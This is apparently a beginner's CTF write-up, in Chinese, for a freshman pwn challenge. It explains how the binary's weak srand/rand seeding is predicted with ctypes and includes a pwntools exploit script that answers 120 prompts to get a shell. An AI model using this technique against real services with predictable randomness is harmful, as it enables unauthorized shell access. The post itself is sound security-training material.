编辑
2023-04-25
pwn
00
请注意,本文编写于 638 天前,最后修改于 631 天前,其中某些信息可能已经过时。

目录

广东海洋大学新生赛第三题:真男人下120层
例行检查:
exp详解
总结

广东海洋大学新生赛第三题:真男人下120层

例行检查:

image-20230419185211107

该程序是64位,开启了canary和NX保护;

所以这里先拖进ida看看:

image-20230419185604432

这就是函数主体部分,可以看到开始**v3 = time(0)srand(v3)这里用了时间做随机数的种子,但之后又调用了v4 = rand();srand(v4 % 3 - 1522127470);**也就是说其实真正随机数的种子只需要看后一个srand就可以了。

而且后一个srand用了%的原因,它的种子只可能是0,1,2这三个数再减去后面那个,也就是只有三种可能。(这里是因为实际上计算机生成随机数是伪随机数是用算法得出的,只要种子一定,那么每次出来的随机数是固定的。)

所以我们只需要连续120词使得rand % 4 +1 =v6就可以getshell。接下来就只需要进行爆破了。

知道了这个,我么就可以开始写脚本了。

python
from pwn import* from ctypes import* context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','split','-h']) #io = remote('node5.anna.nssctf.cn',28927) io=process('./bin') libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') a = libc.srand(libc.time(0)) b = libc.rand(a) c= libc.srand(b % 3 - 1522127470) for i in range(1,121): io.sendlineafter(b'Floor',str(libc.rand(c)%4+1)) io.interactive()

exp详解

这里的from ctypes import*实际上是在python里调用c函数,因为后面要模仿源程序中的方法进行爆破。

  • libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') 调用c函数库,确保后面可以使用c函数。
  • a = libc.srand(libc.time(0)) b = libc.rand(a) c= libc.srand(b % 3 - 1522127470)这一段实际上就是对源程序的仿写。
  • 下一步就是120次爆破了

image-20230419190646900

这里其实是已经拿到了,只不过本地没有文件所以没有flag。

总结

这题确实很好玩,有意思。第一次遇到srand和rand这样的伪随机数函数的做法。

作者新手一枚,文章如有错误还请多多包涵。如果各位Dalao能够指出错误,那就再好不过了,红豆泥私密马赛!

如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!